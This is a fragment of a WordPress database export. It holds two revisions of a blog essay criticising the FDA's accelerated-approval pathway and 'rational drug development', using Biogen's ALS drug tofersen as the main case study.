irrevocably scars your lungs), and doxorubicin, approved in 1974, which is so nasty that doctors nickname it “red death”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This weird state of affairs with the FDA approving nasty drugs with limited effectiveness continued until the 80s, when suddenly: a plot twist! AIDS protesters began accusing the FDA of withholding promising treatments behind insurmountably long and expensive trials. These protesters eventually took the unprecedented step of picketing the FDA offices, calling them murderers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 1992, after 10 years of harassment by AIDS protesters, the FDA finally acquiesced to their demands, kind of. Along with allowing companies to run pilot trials of their drugs in sick patients before approval, the FDA created a new pathway for drugs to be approved: the accelerated approval pathway. The accelerated approval pathway meant that, in life-threatening diseases with “unmet clinical need”, the FDA could approve drugs based on a “surrogate endpoint” instead of a “clinical endpoint”, given that the company promised to run a trial on a clinical endpoint after approval. Or, in other words, companies could get drugs approved based on something that looked like it was related to curing the disease, rather than the disease actually being cured, as long as they promised to do a proper trial later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, the idea of using a surrogate endpoint wasn’t new. Surrogate endpoints had been used before, like in asthma, where the FDA often used the increase in forced expiratory volume (how much air people can blow out) after exercise to measure the effectiveness of a new inhaler rather than the more nebulous (no pun intended) issue of an improvement in asthma in general. What was new is that these accelerated surrogate endpoints didn’t have to be clinically proven. They just had to be “reasonable”, or, we might say, rational.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now you see where rational drug development comes in. Accelerated approval is tailor-made for rational drug development, as both rely on reason to justify each step in the drug’s development and approval. But what you might not see immediately is that accelerated approval also changes the role of the FDA.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the FDA is also trying to figure out what’s “reasonable” for a surrogate endpoint without any clinical evidence, they are implicitly putting themselves into more of a coach role than a judge role. The reasonableness of a given surrogate endpoint depends a lot on how it was chosen, which then goes back to how the drug was developed, and, if a company is smart, how much they involved the FDA in the drug’s development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Accelerated approval was made for AIDS/HIV drugs, but pharmaceutical companies quickly realized the use of it for cancer drugs. They were still getting lots of incentives to develop cancer drugs, the FDA was still allowing cancer drugs with minor to moderate benefits and severe side effects to be approved, and it wasn’t hard to find cancers that were life-threatening and poorly treated, so why not use this new pathway? They just needed to find a proper surrogate endpoint.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Their first surrogate endpoint had been just measuring tumors by the “objective response rate”. This was, quite literally, just the doctors’ estimation of whether the tumors felt like they shrank when they palpated them (no,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7046919/\">really</a>, that was the entirety of the “objective” measure). It had been used as a secondary endpoint for a lot of the cancer drugs that had been approved in the 70s and 80s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, by 1992, doctors started complaining that it wasn’t exactly objective, despite the name. So, a new surrogate endpoint was developed, “disease free survival” (also known as “<a href=\"https://www.ncbi.nlm.nih.gov/books/NBK137763/\">progression free survival</a>”). This surrogate endpoint was based on how long people live with cancer without their symptoms getting noticeably worse. Adopting this new surrogate endpoint had a few benefits.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the patients, it tied the endpoint a little more closely to stuff that patients cared about (although still not overall survival). For the drug companies, it allowed them to argue that their drug halted or delayed the progression of cancer, even if it didn’t cure it or shrink the tumors. And, for the FDA, it allowed for the creation of increasingly elaborate stages of cancer treatment, with many multi-step flow charts that only PhDs could keep track of but which seemed like progress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa05d38e2-61b9-428a-bffe-8195d0e04179_1600x948.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa05d38e2-61b9-428a-bffe-8195d0e04179_1600x948.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">What to do if you have prostate cancer. Side note: prostate cancer is insanely common among elderly men, and mostly does not matter clinically and should not be treated. As my ex’s med school professor said, “Most men die with prostate cancer, not of it.”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>With this new surrogate endpoint in hand, cancer companies flourished. Not only were cancer drugs 36% of accelerated approvals from 1992 to 2010 (vs. 40% for HIV drugs), they were actually a full 85% of accelerated approvals from 2010 to 2020.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this activity famously resulted in relatively weak progress in treating cancer compared to the literal hundreds of billions spent on it. Even now, in the year 2023, where we have some pretty miraculous cancer drugs,&nbsp;<a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/fda-expands-early-breast-cancer-indication-abemaciclib-endocrine-therapy\">the FDA is still approving drugs that do not result in a statistically higher overall survival rate than the standard of care</a>, like abemaciclib for certain forms of breast cancer. That is, if you have one of the forms of breast cancer that abemaciclib is approved for and you get abemaciclib added onto your treatment regiment, you will not live any longer overall. You’ll just get a little more time where your breast cancer isn’t advancing, before it comes back with a vengeance and kills you anyways at the same time it was going to in the first place. If this still sounds like a good bargain, you’ll also be fighting off statistically higher levels of immunodeficiency and diarrhea, so, uh, have fun. Also, you (or hopefully, your insurance), will be paying $14k/month for this privilege.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, for the record, the drug I just mentioned wasn’t cherry-picked. I just went to the FDA’s webpage for most recently approved cancer drugs and clicked on a few until I saw one that did not improve survival.&nbsp;<a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/fda-expands-early-breast-cancer-indication-abemaciclib-endocrine-therapy\">Try it yourself</a>&nbsp;on the FDA’s recent approvals website and I guarantee you will find a terrible cancer drug in 30 seconds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, for Internet nerds like you and me, this all likely sounds like, at best, mixed success on the part of the FDA’s “Oncology Center of Excellence”. But, think about it from the perspective of the rest of the FDA. The Oncology Center of Excellence, unlike every other part of the FDA, is approving a ton of drugs, is in constant contact with patient advocacy groups and incredibly well funded non-profits (the American Cancer Society alone brings in&nbsp;<a href=\"https://paddockpost.com/2021/10/14/executive-compensation-at-the-american-cancer-society-2019/\">$700+ million per year</a>), and regularly collaborates with industry to design super clever trials. That can start to make your own division look pretty boring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is especially true if your division is something like Neurology, which traditionally has had a lot of problems getting successful drugs. In fact, none of the big diseases in neurology have any successful drugs that can really modify the course of the disease. It can probably be a pretty depressing field to be a regulator in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when there started to be a partly grassroots, partly astroturfed groundswell of support for new treatments in neurology by well–heeled high profile nonprofits, like the ~$500 million/year Alzheimer\'s Association and their $1.5 million/year salaried CEO, as well as pressure from regulators, like&nbsp;<a href=\"https://www.als.org/advocacy/als-caucus\">the ALS Association’s roster of senators who’ve explicitly promised to pressure the FDA to help end ALS</a>, the neurology division, too, wanted to become “rational”<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-3-135211863\">3</a>. Maybe the problem in neurology all along was that they weren’t rational enough, and that they, too, were throwing out the baby with the bathwater by focusing solely on non-harm and then on clinical efficacy, without ever considering mechanistic understanding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, there’s nothing wrong with this, per se. The FDA’s insistence on making sure no possibly harmful drugs ever made it to healthy volunteers did probably kill some drugs that could have been helpful in patients. And, ironically, the FDA’s focus on clinical efficacy above mechanism benefited some drugs that definitely weren’t helpful in neurodegenerative diseases and we had zero reason to believe they would be, but skated by on sketchy trial data<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-4-135211863\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is how this rationality is applied. And that, at last, brings us back to tofersen, Biogen’s ALS drug. Tofersen is a great example of misapplied rationality. And to prove it, all we need to do is to look at Biogen’s, well, rationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, one of the really nice things about drug development is that so much of it is public. Not only do drug companies publish a bunch of their research, but&nbsp;<a href=\"https://www.fda.gov/advisory-committees/advisory-committee-calendar/updated-meeting-time-and-public-participation-information-march-22-2023-meeting-peripheral-and\">their arguments to the FDA’s experts</a>&nbsp;are public. That gives transparency to how drug companies think about these diseases (or at least how they want the FDA to think about them), which can illuminate a lot more than what the company would like us to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if we dive into Biogen’s presentation to the FDA, we can see exactly how they approached this. Looking at their slide presentation, they started off thinking about wanting to tackle ALS in general. But, it was too confusing for them. There were too many mechanisms which all seemed to lead to the same pathology, and they didn’t think they could figure out an effective way to tackle all of the Rube Goldberg machines at once.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, they thought, let’s tackle just one, the absolute simplest, most clear Rube Goldberg machine in ALS. We’ll nail this one and then work on the others.<br><br>In Biogen’s eyes, that simple Rube Goldberg machine was SOD1 ALS, a rare genetic variant of ALS that affects only about 3000* people worldwide. Biogen chose this one because the logic seemed so clear:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Academics had identified SOD1 as a gene in which mutations led to ALS. Certain ALS patients tended to have mutations in this gene and the misfolded SOD1 proteins were present in ALS patients’ spines. Inducing these mutations in mice leads to ALS type symptoms.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, the ALS Rube Goldberg machine works by accumulating too much of this bad protein, at least in this version of ALS. Some ALS patients have this gene, this gene leads to bad proteins in mice and humans, and these bad proteins lead to ALS symptoms in mice.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Preventing the expression of mutant SOD1 using a newish technology called antisense oligonucleotides (ASOs) not only stopped the development of ALS type symptoms in mutant mice, but it stopped the accumulation of neurofilament in the blood and cerebrospinal fluid of mice, which Biogen had become convinced was the ultimate sign of neurodegeneration in ALS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, it seemed pretty clear that the ALS SOD1 Rube Goldberg machine could be stopped with an ASO jammer. The ASO jammer stopped the mutant SOD1 protein from being made; it stopped the ALS symptoms; and it stopped the accumulation of the thing that Biogen thought was most obviously caused by the SOD1 protein damage.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Using ASOs in people with ALS was pretty safe and it resulted in reductions in SOD1 mutated proteins and neurofilament.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, their ASO, tofersen, would prevent SOD1 mutations from leading to ALS in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Biogen’s favorite part of all of this was how quantifiable it was. In every step, it wasn’t just “people with SOD1 mutations look worse” or “it looks like they have ALS”. It was “people with quantifiably high levels of mutated SOD1 proteins in their cerebrospinal fluid have quantifiably high levels of neurofilament”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, in Biogen’s eyes, made SOD1 ALS the perfect Rube Goldberg machine to stop. Every part of it was quantifiable. That meant that they could also deliver quantifiable amounts of their Rube Goldberg jammer, tofersen, and say, “This amount of tofersen stops this amount of neurofilament build up.” Then, of course, they could start talking about how much that amount of tofersen costs (cost of goods sold), build a revenue model, and basically act like this is an engineering problem instead of a scientific one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, as we already know, because Biogen only wanted to focus on quantifiable, rational parts of drug development, they ended up just assuming that the non-quantifiable (or semi-quantifiable) parts of developing this drug (i.e. the scientific unknowns) would take care of themselves. This was not the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notably, once it came time to administer the drug to people, there was almost no difference in the ALS functional rating scale, the ALSFRS-R, between people who got the drug and people who got placebo at 28 weeks. Now, this rating scale is, at best, semi-quantifiable. It assigns a score of 0-4 to people with ALS across a range of measures, with 4 being the best and 0 being the worst. So, someone who can speak normally gets a 4, someone who slurs a bit gets a 3, and non-verbal people get a 0.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because it’s semi-quantifiable and difficult to translate to mice, Biogen basically chose to ignore the ALSFRS-R all throughout their development. Even when it came to their final, pivotal trial, the one that they knew this rating scale would be the “primary endpoint” for (i.e. the main thing that the FDA judged them on), they still chose to ignore it. They just assumed that it would, well, behave rationally. This assumption bit them in the ass. Or, at least, it should have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s interesting reading Biogen’s responses after their trial failed. Along with a bunch of post-trial data slicing in a desperate attempt to find some significance somewhere, they rail against how fundamentally unfair a placebo-controlled trial on a semi-quantitative measure is. They are so frustrated that their placebo group declined slower than they thought they would, and that there were no deaths attributable to ALS in either group, and that participants decline at different rates on this scale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“All this real-world data is so&nbsp;<em>messy</em>,” you can almost hear them complaining behind their dry language and copious citations. “None of it is predictable. It doesn’t behave at all as it should. Why are we even paying attention to it?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t think it was this complaining that actually sealed the deal with the FDA. I think that was probably the open-label extension, in which all the participants in the trial got switched to treatment after the end of the trial, regardless on whether they were on treatment before. This is standard for diseases where there are no other treatments, with the idea being that some hope of success is better than none.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this open-label extension, people who got tofersen in the first place did actually do significantly better at the one year mark than people who got tofersen later (i.e. they had, on average, a 3.5 point higher score on the ALSFR-R rating scale, which is not a lot but might be the difference between not walking and walking with assistance). Biogen argued this was because tofersen actually just takes a while to work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not quite so simple as Biogen would like, though. By the time the open label extension finished, 15/72 people dropped out of the early tofersen group, and those left might have just been the people for whom their ALS happened to progress slowly. That is, neither Biogen nor the patients know in advance if an individual patient’s ALS will progress quickly or slowly (e.g. end up on a feeding tube in 2 years or 4).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The entire point of randomizing a trial is to try to allocate equal numbers of slow progressors and fast progressors to the treatment and placebo arms, and to avoid thinking that a treatment worked better than placebo when in fact the treatment group just randomly would have done better than the placebo group anyways. The people who don’t drop out of a treatment group (and, in fact, choose to continue treatment even after the study has concluded) might be people who were helped by the treatment, or might be people who would have done comparatively well even if they hadn’t been on treatment. It’s impossible for either Biogen or the patients to know.&nbsp; These sorts of complications in interpretation are exactly why the FDA has traditionally been very strict about primary endpoints being what determines the approval of a drug.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On a very related note, it’s pretty weird that Biogen argued that stopping the SOD1 mutation and preventing the accumulation of neurofilament was the absolute be-all and end-all, and that they had definitively understood the ALS Rube Goldberg machine and how to stop it, and then their strongest effect in ALS (by their own accounting!) was… possibly making people decline only 6 points on the 48 point rating scale rather than 9.5 points. Not exactly a miracle cure!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And it’s especially bad that Biogen was so successful with these rational arguments because their success is going to have a knock on effect on ALS drug development and drug development in neurology more generally, especially if they’re financially successful with this drug. If Biogen can make money with this approach, VCs and angels will insist that others will follow this approach as well. This will also take up the limited clinical trial resources available in a small disease like ALS (and especially small, genetically distinct subsets of ALS), making even testing alternative approaches to this disease much more difficult. I would say this is not an ideal situation!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, the FDA, at the end of the day, does not care what I have to say. Instead, they bought Biogen’s argument about rationality and the open label extension, and let Biogen sell the drug in exchange for promising to do a follow-up trial later, with no actual enforcement on when that “later” is. That is, Biogen once again successfully argued before the FDA Neurology division that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Weak clinical evidence that is subject to interpretation plus</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Overwhelming “rational” evidence that they successfully reduced the accumulation of their biomarker means that</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Their drug is effective for patients in an incurable neurodegenerative disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And somewhere, Dr. Doofenshmirtz sighs as he finds another two nickels in his pocket.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-1-135211863\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although it is pretty suspicious that Billy Dunn, who was in charge of the FDA’s Neurology Division during the aducanumab decision/debacle, joined&nbsp;<a href=\"https://www.biopharmadive.com/news/billy-dunn-prothena-board-join-fda-departure/650478/\">the well-paid Prothena Board of Directors this past May</a>. Prothena is a company trying to convince the FDA to approve their therapeutic for Alzheimer’s. They may want Billy Dunn on their Board for reasons other than his scientific expertise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-2-135211863\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like the infamous “morning sickness pill that causes birth defects”&nbsp;<a href=\"https://en.wikipedia.org/wiki/Thalidomide#History\">thalidomide</a>, although that was actually never approved in the US, in large part because the FDA demanded further testing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-3-135211863\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is about a decade or two after academia/industry also became “rational” about neurology, exemplified most prominently by&nbsp;<a href=\"https://www.statnews.com/2019/06/25/alzheimers-cabal-thwarted-progress-toward-cure/\">the amyloid hypothesis in Alzheimer’s</a>. As that link explains, the NIH got so captured by the proponents of the eminently rational hypothesis that Alzheimer’s is caused by a buildup of amyloid protein that it became almost impossible to get funding for studying anything else in Alzheimer’s.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-4-135211863\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although this was more easily fixed by the FDA insisting on stuff like pre-registering trials, not hiding failed trials, and avoiding p-hacking. The FDA got way more serious about this stuff in the 2000s, but earlier drugs were grandfathered in. This is why we still have some neurodegenerative “treatments” from the 90s that nobody talks about, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Memantine\">memantine</a>, a drug that was approved for Alzheimer’s in 2003 and is safe but definitely doesn’t work.</p>\n<!-- /wp:paragraph -->','When rational drug design meets an irrational disease','','publish','closed','closed','','when-rational-drug-design-meets-an-irrational-disease','','','2024-06-12 15:56:57','2024-06-12 15:56:57','',0,'https://trevorklee.com/?page_id=405',0,'page','',0),
(406,1,'2024-06-12 15:56:57','2024-06-12 15:56:57','<!-- wp:paragraph -->\n<p>On April 25, 2023,&nbsp;<a href=\"https://investors.biogen.com/news-releases/news-release-details/fda-grants-accelerated-approval-qalsodytm-tofersen-sod1-als\">the FDA approved Biogen’s novel drug tofersen</a>&nbsp;under the brand name “Qalsody” as a treatment for a rare form of amyotrophic lateral sclerosis, or ALS. ALS, if you don’t know, is a terrible disease in which you slowly lose control of your muscles, including, eventually, the muscles that allow you to breathe. Tofersen is a drug that purports to slow the progression of ALS, specifically in people who get ALS because of a mutation in a specific gene called SOD1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The press release for Qalsody touts this approval as a milestone because it’s the first treatment to target a genetic cause of ALS. If you read further into the press release, you’ll see the real milestone, though: Biogen is now 2 for 2 on getting the FDA to approve neurodegeneration “treatments” after they fail clinical efficacy trials, roughly two years after they managed the same with their clinically ineffective Alzheimer’s drug aducanumab.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is to say, Biogen is now 2 for 2 on the following playbook:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) spend a lot of money developing a treatment for a neurodegenerative disease based on a mechanistic understanding of said neurodegenerative disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) successfully treat the supposed “causal mechanism” of that disease but fail to actually cure the symptoms of the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) convince the FDA that the drug should be approved anyways because they treated the causal mechanism, even though they failed their own clinical trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To quote the great Dr. Doofenshmirtz, if I had a nickel for every time that happened, I’d have two nickels. That isn’t a lot, but it’s weird that it happened twice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the outside looking in, it can be difficult to explain how we got here. A lot of the Twitter commentariat would simply just respond with “Because the FDA is corrupt”, but I don’t think that’s fair<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-1-135211863\">1</a>. For one thing, the tofersen approval was supported by the FDA’s panel of independent advisors, the advisory committee or adcom. This is entirely unlike the aducanemab approval, which was not only opposed by the adcom, it was so opposed that three experts resigned from the adcom in light of the approval. Even if the FDA is corrupt (which I don’t think it is), the professors and doctors who make up the adcoms that meet for every drug approval are not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I think you can trace Biogen’s weird success in getting the FDA to approve clinically ineffective drugs back to a certain way of viewing medicine and drug development that’s infected both the industry and the regulators that run it. It’s a view that’s top-down and “objective”, free from the shooting in the dark that characterized all of drug development in its earlier decades, and still much of drug development and medicine now. It disdains the blind testing of massive numbers of compounds and the development of medicines that work for unclear reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This infectious view is the “rational” view of drug development. Rational drug development has been used by a lot of people to mean a lot of things (especially as a marketing term), but the most important component of rational drug development is the assumption that every part of the body is mechanical: the body works by one component physically affecting another component, like a Rube Goldberg device.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diseases, in the rational view, also work the same way, but are the result of malfunctioning Rube Goldberg devices, like a waste product failing to be removed, building up, and then poisoning organs. So, to continue the analogy, if we carefully design our drugs to prevent one step in the process (e.g. the buildup of the waste product), we can prevent the end result of the Rube Goldberg device, which is the physical symptoms of the disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When pharmaceutical companies view diseases in this sequential way, then they start to think of drug development as an engineering problem. They let the academics define the steps of the Rube Goldberg machine and probably also a way to jam a step. Then they swoop in and make sure to optimize the jammer. They make it exceptionally good at jamming that step and make sure it doesn’t jam anything else. Then, at every point in the drug development process, they measure how well the jammer works, based on how much of the step after is able to be completed. They measure it in vitro (in a Petri dish), then in mice, and maybe then in healthy people. And, by the time they measure it in sick people, there are no surprises. At least, there shouldn’t be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This way of thinking is also very appealing to regulators. When a company develops a drug, they talk constantly with the FDA to make sure their hundreds of millions or billions of dollars in development costs are going towards trials that would be convincing to the FDA. Now, the FDA sees their role in drug development as the following, roughly in order of importance:<br><br>1. Make sure that harmful drugs do not make it to the public (or, ideally, even to volunteers).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Make sure that ineffective drugs do not make it to the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Make sure that effective drugs do make it to the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, number 3 on that list was mostly an afterthought. The FDA was so scared of a high profile failure on their most important priority of preventing dangerous drugs from making it to the public<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-2-135211863\">2</a>&nbsp;that they were just straight up gatekeepers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that all changed in the 70s with Nixon’s War on Cancer. JFK had put an American on the Moon by the end of the 60s, and goddamnit Tricky Dick was going to put an end to cancer by the end of the 70s. Hundreds of billions of federal funding poured into cancer research, including expanding the National Cancer Institute within the NIH and funding cancer centers around the country.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So suddenly the FDA got a lot of pressure from the top and the bottom to help end cancer. From the top, Tricky Dick and his cronies had promised the American people explicitly that they were going to end cancer by the year 1980. From the bottom, every university in the country started doing research on cancer and drug companies got a ton of incentives to help develop cures. The FDA was feeling the heat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, of course, they didn’t want to just roll over and let any snake oil peddler get a possibly harmful chemo treatment on the market. So what was the FDA to do? Well, first, they tried just repurposing some random drugs that looked like they had anticancer activity. This led to the rapid approval of megestrol acetate, a hormonal contraceptive that had limited success in treating sex-related cancers like endometrial cancer, and tretinoin, an acne treatment which had, again, limited success in leukemia. But this well quickly ran dry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, quietly, and without much fanfare, the FDA relaxed rule 1. It was now ok for drugs to be harmful, as long as they were at least somewhat effective against cancer, because the alternative was death. So, the FDA started approving a bunch of nasty drugs. This included bleomycin, approved in 1973, which is the only drug I’ve ever heard of that has a lifetime limit (if you take more than 400 units it irrevocably scars your lungs), and doxorubicin, approved in 1974, which is so nasty that doctors nickname it “red death”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This weird state of affairs with the FDA approving nasty drugs with limited effectiveness continued until the 80s, when suddenly: a plot twist! AIDS protesters began accusing the FDA of withholding promising treatments behind insurmountably long and expensive trials. These protesters eventually took the unprecedented step of picketing the FDA offices, calling them murderers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 1992, after 10 years of harassment by AIDS protesters, the FDA finally acquiesced to their demands, kind of. Along with allowing companies to run pilot trials of their drugs in sick patients before approval, the FDA created a new pathway for drugs to be approved: the accelerated approval pathway. The accelerated approval pathway meant that, in life-threatening diseases with “unmet clinical need”, the FDA could approve drugs based on a “surrogate endpoint” instead of a “clinical endpoint”, given that the company promised to run a trial on a clinical endpoint after approval. Or, in other words, companies could get drugs approved based on something that looked like it was related to curing the disease, rather than the disease actually being cured, as long as they promised to do a proper trial later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, the idea of using a surrogate endpoint wasn’t new. Surrogate endpoints had been used before, like in asthma, where the FDA often used the increase in forced expiratory volume (how much air people can blow out) after exercise to measure the effectiveness of a new inhaler rather than the more nebulous (no pun intended) issue of an improvement in asthma in general. What was new is that these accelerated surrogate endpoints didn’t have to be clinically proven. They just had to be “reasonable”, or, we might say, rational.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now you see where rational drug development comes in. Accelerated approval is tailor-made for rational drug development, as both rely on reason to justify each step in the drug’s development and approval. But what you might not see immediately is that accelerated approval also changes the role of the FDA.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the FDA is also trying to figure out what’s “reasonable” for a surrogate endpoint without any clinical evidence, they are implicitly putting themselves into more of a coach role than a judge role. The reasonableness of a given surrogate endpoint depends a lot on how it was chosen, which then goes back to how the drug was developed, and, if a company is smart, how much they involved the FDA in the drug’s development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Accelerated approval was made for AIDS/HIV drugs, but pharmaceutical companies quickly realized the use of it for cancer drugs. They were still getting lots of incentives to develop cancer drugs, the FDA was still allowing cancer drugs with minor to moderate benefits and severe side effects to be approved, and it wasn’t hard to find cancers that were life-threatening and poorly treated, so why not use this new pathway? They just needed to find a proper surrogate endpoint.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Their first surrogate endpoint had been just measuring tumors by the “objective response rate”. This was, quite literally, just the doctors’ estimation of whether the tumors felt like they shrank when they palpated them (no,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7046919/\">really</a>, that was the entirety of the “objective” measure). It had been used as a secondary endpoint for a lot of the cancer drugs that had been approved in the 70s and 80s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, by 1992, doctors started complaining that it wasn’t exactly objective, despite the name. So, a new surrogate endpoint was developed, “disease free survival” (also known as “<a href=\"https://www.ncbi.nlm.nih.gov/books/NBK137763/\">progression free survival</a>”). This surrogate endpoint was based on how long people live with cancer without their symptoms getting noticeably worse. Adopting this new surrogate endpoint had a few benefits.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the patients, it tied the endpoint a little more closely to stuff that patients cared about (although 